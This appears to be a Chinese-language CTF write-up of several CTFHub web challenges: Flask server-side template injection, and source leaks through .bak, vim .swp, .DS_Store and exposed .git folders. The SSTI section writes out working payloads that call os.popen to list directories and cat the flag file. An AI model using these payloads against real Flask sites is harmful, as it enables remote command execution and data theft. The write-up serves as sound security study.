ctf
Simple_SSTI_2
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }} 查看存在的文件
结果返回文件列表
?flag={{config.__class__.__init__.__globals__[os].popen(ls../app/).read()}}
看看每个文件下面的东西
可以看到flag文件这样
然后直接cat使用,的都flag
?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20 ../app/flag%27).read()}}
主要是这题不太了解flask,sstl这种东西
对于这个参数根本看不懂
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
__init__ 初始化类,返回的类型是function
__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
open() 方法用于打开一个文件,并返回文件对象
bak文件

什么是bak文件
.bak是备份文件,为文件格式扩展名,这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成,如proteus的备份文件为.DBK。
http://challenge-118cb0a2671a7c97.sandbox.ctfhub.com:10800/index.php.bak
获取到bak文件
打开bak文件

提交即可
vim缓存
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。
题解提示是swp文件,那么我是不知道的,所以查了查
(第一次产生文件的后缀名为.swp;再次意外退出产生文件的后缀名为.swo;第三次产生的后缀名为.swn)
获取.index.php.swp文件
然后vim -r 文件 即可恢复
就可以看到flag了
.DS_Store
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。
提示:
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
在linux中
安装curl
ubantu 使用apt-get 而不是yum
如果已经安装则跳过
然后对网站进行处理
curl http://challenge-6e8093b7bf869edf.sandbox.ctfhub.com:10800/.DS_Store

继续curl

提交即可
关于curl
直接在curl命令后加上网址,就可以看到网页源码
Log
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题
git clone GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本
下载到本地

但是需要python2的版本我还是换linux吧

可能会遇到的问题,failed to connect
关掉git代理
就可以了安装
然后进入目录下进行处理网站
报错

但是我时间过去之后,重新打开题目,交了金币之后发现又可以了,额

成了
然后到dist/chall............/目录下

git log

看到确实又flag的出现
接着git show

即可看到git提交的信息
终于!
补充:
.git 是什么呢?
